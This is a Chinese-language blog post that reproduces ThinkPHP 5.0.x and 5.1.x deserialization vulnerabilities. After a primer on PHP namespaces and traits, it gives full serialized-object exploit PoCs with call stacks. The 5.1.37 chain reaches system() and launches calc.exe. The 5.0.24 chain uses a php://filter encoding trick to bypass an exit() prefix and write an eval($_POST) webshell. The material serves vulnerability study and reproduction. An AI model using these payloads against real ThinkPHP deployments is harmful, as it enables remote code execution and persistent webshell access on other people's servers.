ThinkPHP的反序列化漏洞复现
2025-01-26 17:16:05

牛魔的只会一把suo,赶紧回过头来学链子

ThinkPHP的反序列化漏洞复现

基础知识速查

命名空间和子命名空间

关于命名空间和作用域:

  • 命名空间是指标识符的组织范围,用于将标识符(如变量名、函数名、类名等)组织起来,避免命名冲突。
  • 作用域是指标识符的可见范围,决定了变量或函数在程序中哪些地方可以被访问。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace animal\cat;
class cat {

public function __construct(){
echo "cat con"."\n";
}

}

namespace animal\dogA;
class dog{
public function __construct()
{
echo "dogA con"."\n";
}
}

namespace animal\dogB;
class dog{
public function __construct()
{
echo "dogB con"."\n";
}
}

new dog(); // 仍旧处于\animal\dogB的命名空间
new \animal\dogA\dog();

// 使用指定的命名空间
use \animal\dogA;
new dogA\dog();

// 别名法: 使用dogA命名空间
use \animal\dogB as DB;
new DB\dog();

use animal\cat\cat;
new cat();

image-20250121211627107

在上面的例子中animal是一个命名空间,animal\cat,animal\dogA,animal\dogB都是其子命名空间

类继承机制

一个简易demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class father{
public $name = "father";
private $age = 30;
public $hobby = "game";

public function say(){
echo "I am father \n";
}

public function smoke(){
echo "I got smoke \n";
}
}

class son extends father{
public $name = "son";
private $age = 19;

// 重写覆盖父类方法
public function say(){
echo "I am son \n";
}

// 调用父类方法
public function parentSay(){
parent::say();
}
}

// 子类中不存在的函数可从父类中找, 如果同名则优先使用子类函数
$son = new son();
$son -> say();
$son -> smoke();
$son -> parentSay();
echo $son -> hobby;

trait修饰符

php中,trait是一种代码复用机制,用于解决类之间代码共享的问题,又避免了单继承机制。

demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

trait A{
public function test(){
echo "testA\n";
}
}

trait B{
public function test(){
echo "testB\n";
}
}

class impl{
use A,B{
A::test insteadof B; // 使用insteadof关键字来解决test重名问题
B::test as testB; // 然后给B的test取别名
}
public function __construct(){
echo "impl\n";
}

public function implTest()
{
$this->test();
$this->testB();
}
}

$t = new impl();
// $t->test();
$t->implTest();

另一个demo,关于在namespace和trait的联动使用

大致就是我在np1(file1.php)中使用np2的trait

在np2(file2.php)中调用np1中的类

file1.php

1
2
3
4
5
6
7
8
9
10
<?php
namespace np1\A;
use np2\A\Hash;

class icfh{
use Hash;
public function __construct(){
echo "1cfh hack now!\n";
}
}

file2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace np2\A;
require("file1.php");
use np1\A\icfh;

trait Hash{
public function __toString(){
echo "Hash toString";
return "";
}
}

$a = new icfh();
echo $a;

可以发现trait中的魔术方法也是可以借用到类中的

image-20250121222439056

TP快速入门

  • 环境搭建:

https://github.com/top-think/framework/releases/tag/v5.1.37

https://github.com/top-think/think/releases/tag/v5.1.37

下好后,把framework放到think的文件夹下,然后改文件夹名为thinkphp

  • 架构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
project  应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
  • 在Application下写路由,然后去注册就好了

TP反序列化漏洞调试分析

TP 5.1.X

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace think;

abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ["1cfh"=>[]];
$this->data = ["1cfh"=>new Request()];
}
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
use think\model;
class Pivot extends Model{

}

namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
protected $param = [];
public function __construct()
{
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = 'system';
$this->config = ["var_ajax"=>''];//对这个键名附上值
$this->param = ['calc.exe'];
}
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

搓一个反序列化入口

1
2
3
4
5
6
public function index($input)
{
// 入口点
echo "ThinkPHP5 RCE Demo:\n";
unserialize(base64_decode($input));
}

然后将poc.php生成的数据传入input分析

首先需要进行类加载(一开始啥都没有捏

image-20250125221009658

然后poc中最外层是Windows类,其参数中的Pivot需要初始化

image-20250125221928317

然后进入对象销毁流程,进入removeFiles

image-20250125222016211

循环判断文件是否存在,存在则unlink,因为file_exists的参数为String

所以会调用魔术方法toString,然后调用toJson,toArray

image-20250125222045438

注意此处调用的是Conversion类的toString方法,查看其代码可知Conversion为trait

且Windows中没有toString,在其父类Model中复用了Conversion的代码

image-20250125231359154

image-20250125231459966

image-20250125231529538

所以最后调用到了Conversion的toString

image-20250125222135543

这里巴拉巴拉赋值,然后会调用到一个visible函数,我们将$relation设置为Request对象

image-20250125225443684

由于不存在,所以调用到_call,这里也就流到call_user_func_array函数

这里也是我们精心设计的Request对象

image-20250125225636605

image-20250125225347312

回调中调用了isAjax,这里也是很重要的一步,继续调用了Request的param方法

image-20250125230042347

获取请求方法和合并请求参数

image-20250125230300360

然后到input中就是获取参数,注意此处getFilter,然后进入array_walk_recursive

image-20250125230432310

sink是一个白给的call_user_func,直接RCE了

image-20250125220002027

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Request.php:1482, think\Request->filterValue()
Request.php:1376, array_walk_recursive()
Request.php:1376, think\Request->input()
Request.php:961, think\Request->param()
Request.php:1649, think\Request->isAjax()
Request.php:331, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Request.php:331}()
Request.php:331, think\Request->__call()
Conversion.php:192, think\Request->visible()
Conversion.php:192, think\Model->toArray()
Conversion.php:224, think\Model->toJson()
Conversion.php:240, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:10, app\index\controller\Index->index()
Container.php:395, ReflectionMethod->invokeArgs()
Container.php:395, think\Container->invokeReflectMethod()
Module.php:132, think\route\dispatch\Module->think\route\dispatch\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\route\dispatch\Module.php:100-135}()
Middleware.php:185, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:174-195}()
Middleware.php:130, call_user_func:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
Module.php:137, think\route\dispatch\Module->exec()
Dispatch.php:168, think\route\Dispatch->run()
App.php:432, think\App->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\App.php:431-433}()
Middleware.php:185, call_user_func_array:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure:E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:174-195}()
Middleware.php:130, call_user_func:{E:\thinkphp_vuln\think-5.1.37\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:21, {main}()

总体流程如图:

image

TP 5.0.X

tp 5.0.24

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
namespace think\process\pipes{
abstract class Pipes{

}
}
namespace think\process\pipes{
class Windows extends Pipes
{
private $files = [];
public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象
{
$this->files = [$Pivot];
}
}
}
//Pivot类
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
protected $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("1"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类,也就是HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
//HasOne类
namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
//Query类,用来匹配$parent
namespace think\db {
class Query {
protected $model;

function __construct($model) //传入的需要是Output类的对象
{
$this->model = $model;
}
}
}
//Output类
namespace think\console{
class Output{
protected $styles = ["getAttr"];
private $handle;
public function __construct($handle)
{
$this->handle = $handle; //是Memcached类的对象,需要调用这个里面的write
}
}
}
//Memcached类
namespace think\session\driver {
class Memcached{
protected $handler;
public function __construct($handler)
{
$this->handler = $handler; //是File类的对象,需要使用其中的set方法
}
}
}
//File类
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
public function __construct()
{
$this->options=[
'expire' => 0,
'cache_subdir' => '0', //绕过getCacheKey中的第一个if
'prefix' => '0', //绕过getCacheKey中的第二个if
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89ZXZhbCgkX1BPU1RbJ3MnXSk7Pz4=/../a.php',
// 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89JF9HRVRbJ2YnXSgkX1BPU1RbJ3MnXSk7Pz4=/../a.php', //有php+12个0+exit,共21个字符,为了凑到4的整数倍,需要加上三个字符
'data_compress' => false,
];
$this->tag = 'xxx'; //用于后续控制文件名,需要使用
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo base64_encode(serialize($window));
}

在Index处写一个反序列化的接口

然后打入payload开始调试

一开始和5.1那条链几乎一样,只是在file_exists中判断的是Pivot类,查看定义是继承Model类,且本身没有toString

所以调用到Model的toString,然后跟到toArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Model.php:855, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:10, app\index\controller\Index->index()
App.php:343, ReflectionMethod->invokeArgs()
App.php:343, think\App::invokeMethod()
App.php:611, think\App::module()
App.php:456, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()

定位到附加属性的代码段

遍历所有append

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}

这里的参数为getError,直接进入else分支,获取relation,判断是否有$relation方法存在,有则调用然后getRelationData

接着判断是否有getBindAttr方法存在,有则调用且遍历结果,然后写入$item

注意此处是lazyload,与之关联的$value为Output类

image-20250126161659986

image-20250126161606553

直接让他走第一个分支,

image-20250126162844385

Output的writeln

image-20250126162910270

poc中:

image-20250126163244690

跟进到File::set函数

1
2
3
4
5
File.php:149, think\cache\driver\File->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()

image-20250126163338990

第一次getCacheKey

首先根据给定的name生成对应的md5

然后拼接poc中的path生成新的$filename

1
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD89ZXZhbCgkX1BPU1RbJ3MnXSk7Pz4=/../a.php8db7a8c80e67e908f96fbf22dde11df3.php

然后还有个mkdir的操作,但是实测好像没鸟用,然后就是返回$filename

image-20250126163650059

判断tag参数和文件是否创建,没有则设置$first标志位

然后生成$data参数,第一次写文件,当然这个只是个幌子

image-20250126164628310

还记得上面我们设置了$first参数不,这里进入if代码块然后调用了setTagItem

很微妙,这里检查了$tag字段是否启用,有的话会重新set,而这里的$name就是可控字段了

key为'tag_' . md5($this->tag)

image-20250126165309812

image-20250126165831968

image-20250126165920991

所以最后的文件名就是a.php+md5('tag_' . md5($this->tag))+.php

image-20250126170104488

然后到file_put_contents,这里有个死亡exit绕过,利用filter配合编码进行死亡函数销毁即可

因为base64是4字符进行编码,我们需要填充一下aaa,使得与前面的字符刚好拼接成4的倍数,从而不会去污染我们的payload

image-20250126170550191

image-20250126170639312

至此webshell生成

image-20250126170822742

image-20250126170859090

完整的利用图:

20221011115008-ccb4a1ce-4917-1 (1)

参考

  1. https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/#%E4%B8%80%E3%80%81%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-PHP%E4%B8%AD%E7%9A%84namespace

  2. tp5.X的getshell:https://xz.aliyun.com/t/3570?time__1311=n4%2Bxnii%3DG%3DDQoxCTq0Ha4Io8FjIxqYvi34x

  3. https://blog.csdn.net/m0_62422842/article/details/125810262

  4. https://xz.aliyun.com/news/9812

  5. https://boogipop.com/2023/03/02/%E4%B8%8D%E8%A6%81%E6%8D%89%E5%BC%84%E6%88%91%E6%96%B0%E4%BA%BA%E5%90%8C%E5%AD%A6%EF%BC%9AF/#CTFSHOW%E2%80%94%E2%80%94Web87

Prev
2025-01-26 17:16:05